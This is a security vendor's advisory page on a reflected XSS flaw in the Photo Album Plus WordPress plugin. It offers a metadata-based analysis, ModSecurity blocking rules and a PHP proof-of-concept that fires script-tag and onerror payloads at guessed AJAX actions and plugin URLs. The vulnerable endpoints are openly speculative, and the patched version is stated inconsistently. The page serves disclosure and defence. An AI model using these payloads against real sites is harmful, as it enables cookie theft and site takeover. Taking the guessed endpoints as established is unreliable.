Opens in a new tab
Published : November 15, 2026

CVE-2026-17013: Photo Album Plus <= 9.2.07.1 Reflected Cross-Site Scripting PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 9.2.07.1
Patched Version —
Disclosed August 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-17013 (metadata-based): This is a reflected cross-site scripting (XSS) vulnerability in the Photo Album Plus plugin for WordPress, affecting versions up to and including 9.2.07.1. The vulnerability allows unauthenticated attackers to inject arbitrary web scripts into pages that execute when a user is tricked into clicking a crafted link. The CVSS score is 6.1, indicating a medium severity issue with a significant scope change (S:C) and low confidentiality and integrity impact.

The root cause, inferred from the CWE-79 classification and the description, is insufficient input sanitization and output escaping. The plugin likely reflects a user-supplied parameter (e.g., a search term, album ID, or photo ID) directly into HTML output without proper encoding or validation. Since the description mentions unauthenticated attackers, the vulnerable endpoint is likely publicly accessible, such as a shortcode handler, an AJAX action, or a direct PHP file in the plugin. Atomic Edge research cannot confirm the exact parameter or endpoint without source code, but the metadata strongly suggests a reflected XSS in a page-generation context.

Exploitation requires an attacker to craft a URL containing a malicious payload in a parameter that the plugin reflects. The attacker must then convince a victim (e.g., an administrator or any site visitor) to visit the URL or submit a form. Common WordPress patterns for such vulnerabilities include admin-ajax.php with an action parameter, direct PHP files like the plugin’s main file or a specific handler, or a query parameter on a page where the plugin shortcode is used. A typical payload would be a script tag or event handler like alert(document.cookie) or . The CVSS vector confirms the attack vector is network and requires user interaction (UI:R).

The fix likely involves properly sanitizing input and escaping output using WordPress functions such as esc_html(), esc_attr(), or wp_kses() on the reflected data. The patched version 9.2.07.002 presumably adds or corrects these measures. Atomic Edge analysis infers that the vulnerable code may use echo or print on unsanitized user input without appropriate escaping.

Successful exploitation could lead to session hijacking, defacement, or redirection to malicious sites. Since the victim could be an administrator, the attacker might perform privileged actions such as creating new admin users or installing plugins, leading to full site compromise. The scope change (S:C) indicates the vulnerable component impacts resources beyond its security scope.

Atomic Edge analysis notes that without the code diff, these conclusions are inferred from the CWE and description. The actual vulnerable parameter and endpoint remain unconfirmed.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-17013 (metadata-based)
# This rule blocks reflected XSS attempts against the Photo Album Plus plugin by matching common attack patterns in parameters.

# Rule 1: Block XSS payloads in parameters on admin-ajax.php when action contains 'wppa'
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202617013,phase:2,deny,status:403,chain,msg:'CVE-2026-17013: Reflected XSS in Photo Album Plus via admin-ajax.php',severity:'CRITICAL',tag:'CVE-2026-17013'"
  SecRule ARGS_POST:action "@contains wppa" "chain"
    SecRule ARGS "@detectXSS" "t:none"

# Rule 2: Block XSS payloads in query parameters when the request targets plugin files
SecRule REQUEST_URI "@beginsWith /wp-content/plugins/wp-photo-album-plus/" 
  "id:202617014,phase:2,deny,status:403,chain,msg:'CVE-2026-17013: Reflected XSS in Photo Album Plus via plugin file',severity:'CRITICAL',tag:'CVE-2026-17013'"
  SecRule ARGS "@detectXSS" "t:none"

# Rule 3: Block XSS payloads in parameters named 'album', 'photo', 'search' on any page (common plugin parameters)
SecRule ARGS_NAMES "@rx ^(album|photo|search|wppa_.*)$" 
  "id:202617015,phase:2,deny,status:403,chain,msg:'CVE-2026-17013: Reflected XSS in Photo Album Plus via common parameter',severity:'CRITICAL',tag:'CVE-2026-17013'"
  SecRule ARGS "@detectXSS" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-17013 - Photo Album Plus <= 9.2.07.1 - Reflected Cross-Site Scripting

// PoC for CVE-2026-17013
// Assumptions: The plugin is installed on a WordPress site, and the vulnerable endpoint is either:
// 1) an AJAX action via admin-ajax.php (e.g., action=wppa_...), or
// 2) a direct PHP file such as /wp-content/plugins/wp-photo-album-plus/wppa.php with a query parameter.
// We test both common patterns. Adjust $target_url accordingly.

$target_url = 'http://example.com'; // Change to target WordPress site

$payloads = [
    '<script>alert(document.cookie)</script>',
    '"><script>alert(1)</script>',
    '<img src=x onerror=alert(1)>'
];

// Test 1: AJAX endpoint with a likely action name derived from plugin slug
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
$actions = ['wppa_ajax', 'wppa_search', 'wppa_album', 'wppa_photo'];

// Test 2: Direct file access with common parameters
$direct_urls = [
    '/wp-content/plugins/wp-photo-album-plus/wppa.php?album=PAYLOAD',
    '/wp-content/plugins/wp-photo-album-plus/wppa-search.php?q=PAYLOAD',
    '/?wppa_album=PAYLOAD',
    '/?wppa_search=PAYLOAD'
];

function test_url($url, $payload) {
    $ch = curl_init();
    $full_url = str_replace('PAYLOAD', urlencode($payload), $url);
    curl_setopt($ch, CURLOPT_URL, $full_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($response === false) return false;
    // Check if payload appears unescaped in response body
    if (strpos($response, $payload) !== false) {
        echo "[+] Potential XSS at: $full_urln";
        echo "    HTTP Code: $http_coden";
        echo "    Payload reflected: $payloadn";
        return true;
    }
    return false;
}

// Test AJAX endpoints
foreach ($actions as $action) {
    foreach ($payloads as $payload) {
        $post_data = ['action' => $action, 'param' => $payload]; // generic param name
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $ajax_url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        if ($response !== false && strpos($response, $payload) !== false) {
            echo "[+] Potential XSS via AJAX action $actionn";
            echo "    Payload: $payloadn";
        }
    }
}

// Test direct URLs
foreach ($direct_urls as $url) {
    foreach ($payloads as $payload) {
        test_url(rtrim($target_url, '/') . $url, $payload);
    }
}

echo "[!] PoC completed. Check output for potential reflection points.n";
echo "[!] This is a metadata-based test; actual vulnerable parameter may differ.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.